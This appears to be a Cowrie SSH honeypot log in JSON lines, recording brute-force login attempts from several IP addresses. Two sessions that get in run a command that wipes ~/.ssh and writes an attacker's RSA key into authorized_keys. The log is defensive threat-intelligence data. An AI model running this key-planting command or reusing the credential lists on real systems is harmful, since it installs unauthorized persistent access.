{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:04.089958Z","src_ip":"45.169.128.70","session":"ee1fca4e600d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.209.82.184","src_port":48160,"dst_ip":"10.17.0.5","dst_port":22,"session":"59190ae7a92e","protocol":"ssh","message":"New connection: 58.209.82.184:48160 (10.17.0.5:22) [session: 59190ae7a92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:09.507291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:10.163505Z","src_ip":"58.209.82.184","session":"59190ae7a92e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":44221,"dst_ip":"159.203.135.109","dst_port":22,"session":"0029b9702922","protocol":"ssh","message":"New connection: 2.57.121.112:44221 (159.203.135.109:22) [session: 0029b9702922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:20.879049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:20.884514Z","src_ip":"2.57.121.112","session":"0029b9702922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:20.990574Z","src_ip":"2.57.121.112","session":"0029b9702922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040892","message":"login attempt [admin/040892] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:21.486290Z","src_ip":"2.57.121.112","session":"0029b9702922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040889","message":"login attempt [admin/040889] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:22.594694Z","src_ip":"2.57.121.112","session":"0029b9702922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040884","message":"login attempt [admin/040884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:23.705985Z","src_ip":"2.57.121.112","session":"0029b9702922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040879","message":"login attempt [admin/040879] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:24.815121Z","src_ip":"2.57.121.112","session":"0029b9702922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04081995","message":"login attempt [admin/04081995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:25.923641Z","src_ip":"2.57.121.112","session":"0029b9702922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:27.031371Z","src_ip":"2.57.121.112","session":"0029b9702922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:45:09.519006Z","src_ip":"58.209.82.184","session":"59190ae7a92e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"110.41.41.37","src_port":41708,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f2b33d4aebd","protocol":"ssh","message":"New connection: 110.41.41.37:41708 (10.17.0.5:22) [session: 9f2b33d4aebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:22.946305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:22.950732Z","src_ip":"110.41.41.37","session":"9f2b33d4aebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:23.188086Z","src_ip":"110.41.41.37","session":"9f2b33d4aebd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Ctyun@12345","message":"login attempt [root/Ctyun@12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:24.173771Z","src_ip":"110.41.41.37","session":"9f2b33d4aebd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:24.681883Z","src_ip":"110.41.41.37","session":"9f2b33d4aebd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:24.684893Z","src_ip":"110.41.41.37","session":"9f2b33d4aebd","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:24.688393Z","src_ip":"110.41.41.37","session":"9f2b33d4aebd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:24.927917Z","src_ip":"110.41.41.37","session":"9f2b33d4aebd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:25.442209Z","src_ip":"110.41.41.37","session":"9f2b33d4aebd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:25.445391Z","src_ip":"110.41.41.37","session":"9f2b33d4aebd","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:25.683370Z","src_ip":"110.41.41.37","session":"9f2b33d4aebd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:25.687130Z","src_ip":"110.41.41.37","session":"9f2b33d4aebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"110.41.41.37","src_port":42196,"dst_ip":"10.17.0.5","dst_port":22,"session":"a301b71d8758","protocol":"ssh","message":"New connection: 110.41.41.37:42196 (10.17.0.5:22) [session: a301b71d8758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:25.902699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:25.906521Z","src_ip":"110.41.41.37","session":"a301b71d8758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:26.136544Z","src_ip":"110.41.41.37","session":"a301b71d8758","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:27.102461Z","src_ip":"110.41.41.37","session":"a301b71d8758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:28.331057Z","src_ip":"110.41.41.37","session":"a301b71d8758","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"110.41.41.37","src_port":42668,"dst_ip":"10.17.0.5","dst_port":22,"session":"095e597c017d","protocol":"ssh","message":"New connection: 110.41.41.37:42668 (10.17.0.5:22) [session: 095e597c017d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:28.556181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:28.563472Z","src_ip":"110.41.41.37","session":"095e597c017d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:28.799521Z","src_ip":"110.41.41.37","session":"095e597c017d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:29.752461Z","src_ip":"110.41.41.37","session":"095e597c017d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:29.983257Z","src_ip":"110.41.41.37","session":"095e597c017d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:29.987833Z","src_ip":"110.41.41.37","session":"9f2b33d4aebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":39700,"dst_ip":"10.17.0.5","dst_port":22,"session":"d59678f240ca","protocol":"ssh","message":"New connection: 156.232.13.218:39700 (10.17.0.5:22) [session: d59678f240ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:50.944263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:50.949118Z","src_ip":"156.232.13.218","session":"d59678f240ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:51.018650Z","src_ip":"156.232.13.218","session":"d59678f240ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"202537465","message":"login attempt [root/202537465] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:51.331723Z","src_ip":"156.232.13.218","session":"d59678f240ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:51.515238Z","src_ip":"156.232.13.218","session":"d59678f240ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:51.518715Z","src_ip":"156.232.13.218","session":"d59678f240ca","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:51.522694Z","src_ip":"156.232.13.218","session":"d59678f240ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:51.594999Z","src_ip":"156.232.13.218","session":"d59678f240ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:51.769005Z","src_ip":"156.232.13.218","session":"d59678f240ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:51.772075Z","src_ip":"156.232.13.218","session":"d59678f240ca","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:51.847261Z","src_ip":"156.232.13.218","session":"d59678f240ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:46:51.851001Z","src_ip":"156.232.13.218","session":"d59678f240ca","protocol":"ssh"}
